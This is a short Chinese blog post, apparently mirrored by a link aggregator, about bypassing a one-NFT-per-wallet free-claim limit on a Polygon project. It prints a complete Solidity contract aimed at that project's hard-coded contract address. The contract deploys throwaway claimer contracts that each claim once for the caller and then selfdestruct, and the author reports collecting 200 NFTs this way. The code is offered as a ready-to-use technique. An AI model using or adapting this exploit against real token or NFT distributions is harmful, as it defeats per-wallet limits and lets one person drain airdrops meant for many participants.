2

部署合约一次铸造多个NFT

 2 years ago
source link: https://mirror.xyz/ericet.eth/lNevORFos5jXHGYpvaQxbVE5SxpaXM0QEsExs2K699E
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

部署合约一次铸造多个NFT

February 19th, 2022

在Matic上有个项目的会员NFT可以让一个钱包免费铸造一个: https://meta.esportsone.com/claim

想到之前学到的部署合约多领空投的合约,虽然那一个是领取代币,而这次是领取NFT,但是原理是一样的,所以打着学以致用的道理改了一下合约代码

很顺利一次性领取了200个NFT,费用也还好,花了总共0.53 matic,比一个个领便宜一些

合约代码:

pragma solidity ^0.8.0;

interface passNFT {
    function claim(address receiver,uint256 tokenId,uint256 quantity,bytes32[] calldata proofs) external;
}
contract multiCall {
    address constant contra = address(0x4867f7ACb9078d2b462442c5ca3DBa01456844B5);
    function call(uint256 times) public {
        for(uint i=0;i<times;++i){
            new claimer(contra);
        }
    }
}
contract claimer{
    constructor(address contra){
        bytes32[] memory proofs;
        passNFT(contra).claim(address(tx.origin),2,1,proofs);
        selfdestruct(payable(address(msg.sender)));
    }
}

部署好后,调用call函数,call(200) 就是铸造200个NFT

200个NFT铸造好后,全部发到调用合约的钱包,绕过1个钱包只能铸造一个NFT的限制

注: 这个会员可以无限制铸造,没有啥价值


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK